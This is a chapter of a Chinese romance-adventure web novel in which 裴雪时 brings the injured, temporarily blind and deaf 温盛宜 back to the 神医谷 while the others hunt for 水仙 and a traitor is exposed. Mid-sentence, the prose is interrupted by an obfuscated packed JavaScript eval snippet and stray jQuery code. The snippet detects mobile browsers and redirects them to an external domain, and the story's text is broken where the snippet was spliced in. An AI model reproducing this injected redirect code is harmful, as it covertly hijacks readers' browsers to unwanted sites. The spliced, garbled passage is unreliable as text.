裴雪时将她抱起,滚烫的身体将源源不断的热意传了过去。
温盛宜心下更难受了。
“你其实不该出来的。”她说道。
长时间的干呕已经让她的嗓子都哑了,裴雪时听着也难受极了。
他将温盛宜又抱紧了些,说道:“不行。”
“翼鱼,快接住她!”
走到夹缝口时,裴雪时叫住了翼鱼。
温盛宜现下不知为何看不见了,那个夹缝又不是什么平坦小路,是需要爬上去的。
在外等待的几人虽不知为什么还要接人,但起码真的在这里找到了温盛宜!
她们都急忙凑到了夹缝前。
可此时的天已经有些要亮了,借着天光,她们看到了温盛宜无神的双眼和脸上的两行血泪,以及……她身上大大小小的伤。
怎么会弄得如此狼狈啊……
翼鱼将她死死抱在怀里:“阿繁……都是我不好,那么坏的天气我该去看看你的,如果我去了的话——”
她的话音戛然而止,因为她听到温盛宜说——
“是阿鱼吗?我听不到也看不到啦,你们都来了吗?”
她说话的语调故作轻松,可在场的其他六人俱是心下如惊雷劈下!
可温盛宜此时心中却是根本没精力去想这些,她紧接着便拽紧了翼鱼的衣袖,焦急开口。
“水仙为了保护我独自引开了那些黑衣人,她受了好重的伤,那些黑衣人还杀不死,你们快想想办法,救救她好不好?”
可几人却是刚在来的路上发现了水仙沾染了滚烫鲜血的衣料啊……
察觉到翼鱼身子骤然间僵了一瞬,温盛宜有些不安,她小心翼翼问道:“怎……怎么了,阿鱼?”
“没事。”翼鱼不动声色将温盛宜抱得紧了些,她颤抖的手指在温盛宜的手心一笔一划着写着。
“先送你回去,这里会有人继续找水仙。”
“我留下来继续找水仙。”
山茶嗓音哽咽着说道,仔细一看,她此时的脸上赫然已经挂满了泪珠。
仗着温盛宜听不到,她也不掩饰自己的情绪,边哭边说道:“没准水仙也在哪个小山洞小夹缝里呢?”
话毕,她也上前紧紧抱了抱温盛宜,随即一抹眼泪转身扑入身后的森林中。
“我们也留下来。”
是楚封和他身边的那位男子。
“这样,我们几个留下,你将温姑娘带回去。”张砚看向裴雪时说道。
裴雪时病还没好就淋着大雨跑出来,张砚甚至都不知道他此时红润的面色和滚烫的身子是因为体内的病。还是因为淋雨染了风寒。
***
为了方便在温盛宜手心写字,裴雪时将她背在了背上。
身子猛然间腾空,温盛宜下意识惊呼了一声。
裴雪时在她手心写道:抱歉。
“没事,就是你的动作有些太突然了。”
失去了视觉和听觉,身后还一直吹着冷风,温盛宜有些不安,低声说道。
裴雪时又继续写道:她们都去找水仙了,我身体不好,就先带你回去。
温盛宜将他的脖子抱紧了些,低头到可以将下巴放到他的肩膀上,这才找回了些许的安全感。
“你们都来了吗?”
裴雪时:嗯,大家都来了,还有楚封,他也带了人来。
不知道为什么,明明知道了是大家都来了,但温盛宜心下却还是只对裴雪时有着说不清、又难解的想法。
她一时只觉有些对不起其他一起来找她们的大家。
只不过——
“楚封?”温盛宜呢喃着这个名字,“慕容更晚那边发现什么了?”
裴雪时:南水穹有动作。
因为是在手心写字,他便说得简便了些。
但温盛宜照样能懂他的意思,毕竟她自己也是那么猜想的。
“我是被一个神医谷弟子骗出来的。”她继续说道,“他将我和水仙都以‘有人找’的名头骗了出去,我们……以为是古燕来的人。”
听到她语气不太好,裴雪时写道:不怪你们,他们太狡猾。
又写道:山茶已经将人抓了起来。
温盛宜将头埋在了他的肩上,眼底酸酸的,又想哭了。
她其实并不是一个喜欢哭的人,她觉得哭解决不了任何问题,遇事就哭是没本事的表现。
可昨日和今日,短短两天,她已经不知道自己哭了多少次了。
她闷闷解释道:“我不爱哭的。”
裴雪时轻声笑了笑,写道:嗯,别哭。
***
到了悬崖上的森林处时,裴雪时先是小心将温盛宜放到了马上,随即又一个利落的动作上了马。
担心温盛宜身子不稳摔倒,他心下有些紧张,拉起她的手写道:怕你坐不稳,我可以抱着你吗?
温盛宜确实害怕自己出什么事,点了点头:“可以。”
下一瞬,一只有力的臂膀从她的腰间环过,将她死死扣在了自己怀里。
心惊胆战了整整一个晚上,身上各种各样的伤又痛得很,温盛宜实在是好累。
不知不觉间,她就向后靠在了裴雪时的胸前睡着了。
平日里一点小接触裴雪时都会暗自欣喜许久,可此时他却高兴不起来。
心上人带着一身的伤来到自己面前,他怎么可能高兴得起来?
他甚至也开始埋怨自己,为什么自己明明看到了一抹蓝色的身影,素日里的警惕性却莫名消失了?
他甚至在想,这么坏的天气,为什么自己不在一开始就去看看她的情况,自己的喜欢就是这么对她不闻不问的吗……
他的思绪已经陷入了一个怪圈里,不管对错,罪名都跟下大雨一样被他安在了自己头上。
***
裴雪时带着温盛宜回到神医谷时,正好碰到了外出看风铃花田的萧沈夫妇,萧问冉看到温盛宜的模样瞬间就炸了。
她几步走到裴雪时面前,眉头紧皱,语气中似乎还带着震怒,她问道:“这是怎么回事?”
裴雪时抱着温盛宜小心下了马,并没有吵醒她。
“边走边说。”
她们本来也是要将此事告知萧沈夫妇的,她们神医谷内部出了叛徒,算是大事了吧?
边往温盛宜房中走着,裴雪时边跟萧问冉、沈真二人说着从昨日夜间到今日发生的事。
听完他说的话,饶是沈真那般好脾气的人都被惹得火冒三丈,更别说萧问冉这个暴脾气的人了。
她刚要压着嗓子说话,又想起熟睡的温盛宜听不到了,便也没压着嗓子,火爆脾气上来将南水穹等人挨个骂了个遍。
等她骂完后,裴雪时又道:“那个张平已经被山茶敲晕了绑在她房中了,还希望前辈可以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402423|178820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理解。”
“叛徒有什么好怜惜的!”萧问冉怒斥道,“那人你们想怎么审就怎么审,我神医谷已经将此人逐出了无冀山,他是生是死都跟我们没关系!”
神医谷坐落于无冀山上,而这方圆距离内为了避嫌神医谷,再没有其他的门派或散人居住,说无冀山是她们神医谷的地盘也没毛病。
沈真也接着说道:“我马上派人去那悬崖底下支援那几位小友!”
萧问冉却是拉住了他:“这事儿我去弄,你去给小温看病!”
***
沈真的眉头越皱越紧。
裴雪时看着他的表情,面色也不是很好,他小心开口道:“前辈,盛宜她……”
“无事。”沈真宽慰道,“她是从悬崖上掉下去的吗?”
裴雪时闻言一怔,随即面上又露出了深深的自责与无措。
沈真看他的模样心下直叹气。
以这孩子如今的身体,也不知喜欢上一个人是好还是坏。
他放松了语气,将手从温盛宜脉上拿下来,说道:“她看不见也听不到应该是从悬崖坠落的原因,内里经脉被强力震慑而导致了短暂性的失明和失聪。”
“我方才皱眉是因为她的身体不好,内里有些虚浮。”
从初遇起,裴雪时就是知道她身子不怎么好的,后来也猜到了些她曾经的事情,闻言更是伤心得不行。
他又快走两步走到温盛宜身前,问道:“那她的身子该怎么治?”
沈真看他这样子直摇头:“你自己都身患不治之症,也没见你对自己的身体这么担心。”
裴雪时被说的一噎:“我们……不一样。”
沈真走到一旁的桌前拿起笔认真写着药方,写完后他将东西递给裴雪时:“如果能有这几味药在,她的身子定能好的快些。”
裴雪时一低头,明白了为什么他会这么说。
——纸上全是当今大陆上有价无市的、难求的良药。
他仔细一扫,心中直庆幸。
其实好几味药,在天祁皇宫中就有。
无他,从小到大为了给他治病,天祁皇宫和寒王府不知找了多少药、花了多少钱。
他将药方收好:“我会把东西找来,这期间还麻烦前辈也继续给她治病。”
“施针也好,喝药也罢,都麻烦前辈了。”
沈真无语,点了点头。
就算裴雪时不说,他就不救这小孩了不成?
怎么可能啊。
***
回到自己房中,裴雪时便直奔桌案前。
他将沈真药方中的药挨个誊抄在纸上,又简短问候了皇帝、自己的家人后便急切地将信塞到了信鸽腿上,朝着天祁的方向放飞了出去。
做完这些事后,他才后知后觉自己的身体好像已经热得不行了。
他将身上的衣物褪下,换上一身轻薄极了的夏装,又去到了温盛宜身边。
他到时萧问冉和沈空青二人都在。
萧问冉随意找了个借口打发了沈空青后,脸色瞬间沉了下来。
但她还是贴心给裴雪时说明了情况:“我们已经派了人去那个悬崖处。”
紧接着,她便冷笑了一声:“南水穹竟敢在我神医谷中安插间谍,真当我萧问冉是死的吗?”
看着她此时骤然增强的气场,裴雪时似乎窥见了多年前闻名江湖的双刀大家的模样。